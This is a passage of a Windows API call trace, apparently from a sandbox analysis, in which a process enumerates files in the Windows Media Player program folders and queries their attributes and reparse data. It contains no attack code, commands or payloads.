ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x55587e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0089.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1e48 [0089.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314ea8 [0089.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.682] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555d411c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0089.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1e68 [0089.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314fb0 [0089.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.684] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e0d5d3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e0d5d3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x550eb3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0089.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1e88 [0089.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13150b8 [0089.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.686] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79de7474, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79de7474, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0089.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1ea8 [0089.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13151c0 [0089.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.687] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79d9b1b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79d9b1b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0089.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1ec8 [0089.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13152c8 [0089.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.689] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5511151c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x5511151c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0089.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1ee8 [0089.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13153d0 [0089.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.691] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0089.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1f08 [0089.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13154d8 [0089.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0089.693] GetLastError () returned 0x12 [0089.693] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.693] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x55587e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555d411c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e0d5d3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e0d5d3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x550eb3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79de7474, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79de7474, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79d9b1b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79d9b1b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5511151c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x5511151c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0089.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0089.693] GetLastError () returned 0x12 [0089.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.694] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.695] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5da15071, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5da15071, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b03e9f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0089.695] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="")) returned 1 [0089.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files (x86)\\windows media player\\network sharing"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files (x86)\\windows media player\\network sharing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.696] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.696] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.697] NtClose (Handle=0x164) returned 0x0 [0089.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.698] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.698] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.698] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.698] GetLastError () returned 0x12 [0089.698] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.698] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.698] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.698] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.698] GetLastError () returned 0x12 [0089.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.698] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.699] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb1ba90, ftCreationTime.dwHighDateTime=0x1d55fb0, ftLastAccessTime.dwLowDateTime=0x174bd520, ftLastAccessTime.dwHighDateTime=0x1d551d4, ftLastWriteTime.dwLowDateTime=0x174bd520, ftLastWriteTime.dwHighDateTime=0x1d551d4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="recognize labels.exe", cAlternateFileName="")) returned 1 [0089.699] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e72dbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e72dbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e98f1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0089.699] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0089.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins" (normalized: "c:\\program files (x86)\\windows media player\\skins"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins" (normalized: "c:\\program files (x86)\\windows media player\\skins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.700] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.700] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.700] NtClose (Handle=0x180) returned 0x0 [0089.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.701] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.702] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, 